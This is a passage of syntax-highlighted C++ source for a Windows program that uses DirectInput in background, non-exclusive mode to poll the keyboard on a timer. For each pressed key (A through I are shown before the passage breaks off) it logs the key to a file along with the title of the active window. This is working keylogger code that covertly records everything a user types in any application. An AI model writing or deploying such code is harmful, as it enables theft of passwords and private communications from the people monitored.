style=\"color: #000000\">message<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000\">WPARAM<\/span> <span style=\"color: #000000\">wParam<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000\">LPARAM<\/span> <span style=\"color: #000000\">lParam<\/span><span style=\"color: #000000; font-weight: bold\">)<\/span>\r\n<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t<span style=\"color: #204a87; font-weight: bold\">int<\/span> <span style=\"color: #000000\">wmId<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000\">wmEvent<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t<span style=\"color: #000000\">PAINTSTRUCT<\/span> <span style=\"color: #000000\">ps<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t<span style=\"color: #000000\">HDC<\/span> <span style=\"color: #000000\">hdc<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\r\n\t<span style=\"color: #204a87; font-weight: bold\">switch<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">message<\/span><span style=\"color: #000000; font-weight: bold\">)<\/span>\r\n\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t<span style=\"color: #204a87; font-weight: bold\">case<\/span> <span style=\"color: #000000\">WM_COMMAND<\/span>:\r\n\t\t<span style=\"color: #000000\">wmId<\/span>    <span style=\"color: #ce5c00; font-weight: bold\">=<\/span> <span style=\"color: #000000\">LOWORD<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">wParam<\/span><span style=\"color: #000000; font-weight: bold\">);<\/span>\r\n\t\t<span style=\"color: #000000\">wmEvent<\/span> <span style=\"color: #ce5c00; font-weight: bold\">=<\/span> <span style=\"color: #000000\">HIWORD<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">wParam<\/span><span style=\"color: #000000; font-weight: bold\">);<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">switch<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">wmId<\/span><span style=\"color: #000000; font-weight: bold\">)<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">case<\/span> <span style=\"color: #000000\">IDM_ABOUT<\/span>:\r\n\t\t\t<span style=\"color: #000000\">DialogBox<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">hInst<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000\">MAKEINTRESOURCE<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">IDD_ABOUTBOX<\/span><span style=\"color: #000000; font-weight: bold\">),<\/span> <span style=\"color: #000000\">hWnd<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000\">About<\/span><span style=\"color: #000000; font-weight: bold\">);<\/span>\r\n\t\t\t<span style=\"color: #204a87; font-weight: bold\">break<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">case<\/span> <span style=\"color: #000000\">IDM_EXIT<\/span>:\r\n\t\t\t<span style=\"color: #000000\">DestroyWindow<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">hWnd<\/span><span style=\"color: #000000; font-weight: bold\">);<\/span>\r\n\t\t\t<span style=\"color: #204a87; font-weight: bold\">break<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t\t<span style=\"color: #f57900\">default:<\/span>\r\n\t\t\t<span style=\"color: #204a87; font-weight: bold\">return<\/span> <span style=\"color: #000000\">DefWindowProc<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">hWnd<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000\">message<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000\">wParam<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000\">lParam<\/span><span style=\"color: #000000; font-weight: bold\">);<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">break<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t<span style=\"color: #204a87; font-weight: bold\">case<\/span> <span style=\"color: #000000\">WM_TIMER<\/span>:\r\n\t\t\r\n\t\t<span style=\"color: #000000\">GetKeys<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #ce5c00; font-weight: bold\">&amp;<\/span><span style=\"color: #000000\">Keys<\/span><span style=\"color: #000000; font-weight: bold\">[<\/span><span style=\"color: #0000cf; font-weight: bold\">0<\/span><span style=\"color: #000000; font-weight: bold\">]);<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">break<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t<span style=\"color: #204a87; font-weight: bold\">case<\/span> <span style=\"color: #000000\">WM_PAINT<\/span>:\r\n\t\t<span style=\"color: #000000\">hdc<\/span> <span style=\"color: #ce5c00; font-weight: bold\">=<\/span> <span style=\"color: #000000\">BeginPaint<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">hWnd<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&amp;<\/span><span style=\"color: #000000\">ps<\/span><span style=\"color: #000000; font-weight: bold\">);<\/span>\r\n\t\t<span style=\"color: #000000\">InitDirectInput<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">hInst<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000\">hWnd<\/span><span style=\"color: #000000; font-weight: bold\">);<\/span> <span style=\"color: #8f5902; font-style: italic\">\/\/ first run, we init direct input<\/span>\r\n\t\t<span style=\"color: #000000\">EndPaint<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">hWnd<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&amp;<\/span><span style=\"color: #000000\">ps<\/span><span style=\"color: #000000; font-weight: bold\">);<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">break<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t<span style=\"color: #204a87; font-weight: bold\">case<\/span> <span style=\"color: #000000\">WM_DESTROY<\/span>:\r\n\t\t<span style=\"color: #000000\">outfile<\/span><span style=\"color: #000000; font-weight: bold\">.<\/span><span style=\"color: #000000\">close<\/span><span style=\"color: #000000; font-weight: bold\">();<\/span>\r\n\t\t<span style=\"color: #000000\">CloseDirectInput<\/span><span style=\"color: #000000; font-weight: bold\">();<\/span> <span style=\"color: #8f5902; font-style: italic\">\/\/ dont need uit, unacquire<\/span>\r\n\t\t<span style=\"color: #000000\">PostQuitMessage<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #0000cf; font-weight: bold\">0<\/span><span style=\"color: #000000; font-weight: bold\">);<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">break<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t<span style=\"color: #f57900\">default:<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">return<\/span> <span style=\"color: #000000\">DefWindowProc<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">hWnd<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000\">message<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000\">wParam<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000\">lParam<\/span><span style=\"color: #000000; font-weight: bold\">);<\/span>\r\n\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\t<span style=\"color: #204a87; font-weight: bold\">return<\/span> <span style=\"color: #0000cf; font-weight: bold\">0<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\r\n<span style=\"color: #8f5902; font-style: italic\">\/\/ Message handler for about box.<\/span>\r\n<span style=\"color: #000000\">INT_PTR<\/span> <span style=\"color: #000000\">CALLBACK<\/span> <span style=\"color: #000000\">About<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">HWND<\/span> <span style=\"color: #000000\">hDlg<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000\">UINT<\/span> <span style=\"color: #000000\">message<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000\">WPARAM<\/span> <span style=\"color: #000000\">wParam<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000\">LPARAM<\/span> <span style=\"color: #000000\">lParam<\/span><span style=\"color: #000000; font-weight: bold\">)<\/span>\r\n<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t<span style=\"color: #000000\">UNREFERENCED_PARAMETER<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">lParam<\/span><span style=\"color: #000000; font-weight: bold\">);<\/span>\r\n\t<span style=\"color: #204a87; font-weight: bold\">switch<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">message<\/span><span style=\"color: #000000; font-weight: bold\">)<\/span>\r\n\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t<span style=\"color: #204a87; font-weight: bold\">case<\/span> <span style=\"color: #000000\">WM_INITDIALOG<\/span>:\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">return<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">INT_PTR<\/span><span style=\"color: #000000; font-weight: bold\">)<\/span><span style=\"color: #000000\">TRUE<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\r\n\t<span style=\"color: #204a87; font-weight: bold\">case<\/span> <span style=\"color: #000000\">WM_COMMAND<\/span>:\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">if<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">LOWORD<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">wParam<\/span><span style=\"color: #000000; font-weight: bold\">)<\/span> <span style=\"color: #ce5c00; font-weight: bold\">==<\/span> <span style=\"color: #000000\">IDOK<\/span> <span style=\"color: #ce5c00; font-weight: bold\">||<\/span> <span style=\"color: #000000\">LOWORD<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">wParam<\/span><span style=\"color: #000000; font-weight: bold\">)<\/span> <span style=\"color: #ce5c00; font-weight: bold\">==<\/span> <span style=\"color: #000000\">IDCANCEL<\/span><span style=\"color: #000000; font-weight: bold\">)<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t\t\t<span style=\"color: #000000\">EndDialog<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">hDlg<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000\">LOWORD<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">wParam<\/span><span style=\"color: #000000; font-weight: bold\">));<\/span>\r\n\t\t\t<span style=\"color: #204a87; font-weight: bold\">return<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">INT_PTR<\/span><span style=\"color: #000000; font-weight: bold\">)<\/span><span style=\"color: #000000\">TRUE<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">break<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\t<span style=\"color: #204a87; font-weight: bold\">return<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">INT_PTR<\/span><span style=\"color: #000000; font-weight: bold\">)<\/span><span style=\"color: #000000\">FALSE<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\r\n<span style=\"color: #204a87; font-weight: bold\">void<\/span> <span style=\"color: #000000\">InitDirectInput<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">HINSTANCE<\/span> <span style=\"color: #000000\">hInstance<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000\">HWND<\/span> <span style=\"color: #000000\">gw<\/span><span style=\"color: #000000; font-weight: bold\">)<\/span>\r\n<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t<span style=\"color: #000000\">DirectInput8Create<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">hInstance<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000\">DIRECTINPUT_VERSION<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000\">IID_IDirectInput8<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #204a87; font-weight: bold\">void<\/span><span style=\"color: #ce5c00; font-weight: bold\">**<\/span><span style=\"color: #000000; font-weight: bold\">)<\/span><span style=\"color: #ce5c00; font-weight: bold\">&amp;<\/span><span style=\"color: #000000\">din<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span>\t<span style=\"color: #204a87\">NULL<\/span><span style=\"color: #000000; font-weight: bold\">);<\/span>\r\n\t<span style=\"color: #000000\">din<\/span><span style=\"color: #ce5c00; font-weight: bold\">-&gt;<\/span><span style=\"color: #000000\">CreateDevice<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">GUID_SysKeyboard<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&amp;<\/span><span style=\"color: #000000\">dinkeyboard<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #204a87\">NULL<\/span><span style=\"color: #000000; font-weight: bold\">);<\/span>\r\n\t<span style=\"color: #000000\">dinkeyboard<\/span><span style=\"color: #ce5c00; font-weight: bold\">-&gt;<\/span><span style=\"color: #000000\">SetDataFormat<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #ce5c00; font-weight: bold\">&amp;<\/span><span style=\"color: #000000\">c_dfDIKeyboard<\/span><span style=\"color: #000000; font-weight: bold\">);<\/span>\r\n\t<span style=\"color: #000000\">dinkeyboard<\/span><span style=\"color: #ce5c00; font-weight: bold\">-&gt;<\/span><span style=\"color: #000000\">SetCooperativeLevel<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">gw<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000\">DISCL_NONEXCLUSIVE<\/span> <span style=\"color: #ce5c00; font-weight: bold\">|<\/span> <span style=\"color: #000000\">DISCL_BACKGROUND<\/span><span style=\"color: #000000; font-weight: bold\">);<\/span>\r\n\t<span style=\"color: #204a87; font-weight: bold\">return<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\r\n<span style=\"color: #204a87; font-weight: bold\">void<\/span> <span style=\"color: #000000\">CloseDirectInput<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #204a87; font-weight: bold\">void<\/span><span style=\"color: #000000; font-weight: bold\">)<\/span>\r\n<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t<span style=\"color: #000000\">dinkeyboard<\/span><span style=\"color: #ce5c00; font-weight: bold\">-&gt;<\/span><span style=\"color: #000000\">Unacquire<\/span><span style=\"color: #000000; font-weight: bold\">();<\/span>\r\n\t<span style=\"color: #000000\">din<\/span><span style=\"color: #ce5c00; font-weight: bold\">-&gt;<\/span><span style=\"color: #000000\">Release<\/span><span style=\"color: #000000; font-weight: bold\">();<\/span>\r\n\t<span style=\"color: #204a87; font-weight: bold\">return<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\r\n<span style=\"color: #204a87; font-weight: bold\">void<\/span> <span style=\"color: #000000\">GetKeys<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">BYTE<\/span> <span style=\"color: #ce5c00; font-weight: bold\">*<\/span><span style=\"color: #000000\">KeyState<\/span><span style=\"color: #000000; font-weight: bold\">){<\/span>\r\n\t<span style=\"color: #8f5902; font-style: italic\">\/\/ https:\/\/msdn.microsoft.com\/en-us\/library\/windows\/desktop\/ee418641(v=vs.85).aspx <\/span>\r\n\t<span style=\"color: #8f5902; font-style: italic\">\/\/ ^^ DIRECTINPUT enum<\/span>\r\n\t<span style=\"color: #000000\">HRESULT<\/span> <span style=\"color: #000000\">hr<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t<span style=\"color: #000000\">hr<\/span> <span style=\"color: #ce5c00; font-weight: bold\">=<\/span> <span style=\"color: #000000\">dinkeyboard<\/span><span style=\"color: #ce5c00; font-weight: bold\">-&gt;<\/span><span style=\"color: #000000\">GetDeviceState<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #0000cf; font-weight: bold\">256<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">LPVOID<\/span><span style=\"color: #000000; font-weight: bold\">)<\/span><span style=\"color: #000000\">KeyState<\/span><span style=\"color: #000000; font-weight: bold\">);<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">if<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">FAILED<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">hr<\/span><span style=\"color: #000000; font-weight: bold\">))<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t\t\t<span style=\"color: #000000\">ZeroMemory<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">Keys<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #0000cf; font-weight: bold\">256<\/span><span style=\"color: #000000; font-weight: bold\">);<\/span> <span style=\"color: #8f5902; font-style: italic\">\/\/ zero out old keys info after each iteration.<\/span>\r\n\t\t\t<span style=\"color: #000000\">dinkeyboard<\/span><span style=\"color: #ce5c00; font-weight: bold\">-&gt;<\/span><span style=\"color: #000000\">Acquire<\/span><span style=\"color: #000000; font-weight: bold\">();<\/span> \r\n\t\t\t<span style=\"color: #204a87; font-weight: bold\">return<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">if<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">KeyDown<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">DIK_A<\/span><span style=\"color: #000000; font-weight: bold\">))<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t\t\t<span style=\"color: #000000\">outfile<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;Window is &quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">GetCurrentWindowInfo<\/span><span style=\"color: #000000; font-weight: bold\">()<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;\\r\\nKey entered: A&quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">endl<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">if<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">KeyDown<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">DIK_B<\/span><span style=\"color: #000000; font-weight: bold\">))<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t\t\t<span style=\"color: #000000\">outfile<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;Window is &quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">GetCurrentWindowInfo<\/span><span style=\"color: #000000; font-weight: bold\">()<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;\\r\\nKey entered: B&quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">endl<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">if<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">KeyDown<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">DIK_C<\/span><span style=\"color: #000000; font-weight: bold\">))<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t\t\t<span style=\"color: #000000\">outfile<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;Window is &quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">GetCurrentWindowInfo<\/span><span style=\"color: #000000; font-weight: bold\">()<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;\\r\\nKey entered: C&quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">endl<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">if<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">KeyDown<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">DIK_D<\/span><span style=\"color: #000000; font-weight: bold\">))<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t\t\t<span style=\"color: #000000\">outfile<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;Window is &quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">GetCurrentWindowInfo<\/span><span style=\"color: #000000; font-weight: bold\">()<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;\\r\\nKey entered: D&quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">endl<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">if<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">KeyDown<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">DIK_E<\/span><span style=\"color: #000000; font-weight: bold\">))<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t\t\t<span style=\"color: #000000\">outfile<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;Window is &quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">GetCurrentWindowInfo<\/span><span style=\"color: #000000; font-weight: bold\">()<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;\\r\\nKey entered: E&quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">endl<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">if<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">KeyDown<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">DIK_F<\/span><span style=\"color: #000000; font-weight: bold\">))<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t\t\t<span style=\"color: #000000\">outfile<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;Window is &quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">GetCurrentWindowInfo<\/span><span style=\"color: #000000; font-weight: bold\">()<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;\\r\\nKey entered: F&quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">endl<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">if<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">KeyDown<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">DIK_G<\/span><span style=\"color: #000000; font-weight: bold\">))<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t\t\t<span style=\"color: #000000\">outfile<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;Window is &quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">GetCurrentWindowInfo<\/span><span style=\"color: #000000; font-weight: bold\">()<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;\\r\\nKey entered: G&quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">endl<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">if<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">KeyDown<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">DIK_H<\/span><span style=\"color: #000000; font-weight: bold\">))<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t\t\t<span style=\"color: #000000\">outfile<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;Window is &quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">GetCurrentWindowInfo<\/span><span style=\"color: #000000; font-weight: bold\">()<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;\\r\\nKey entered: H&quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">endl<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">if<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">KeyDown<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">DIK_I<\/span><span style=\"color: #000000; font-weight: bold\">))<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t\t\t<span style=\"color: #000000\">outfile<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;Window is &quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">GetCurrentWindowInfo<\/span><span style=\"color: #000000; font-weight: bold\">()<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;\\r\\nKey entered: I&quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">endl<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">if<\/span> <span style=\"color: #000000; font-weight: 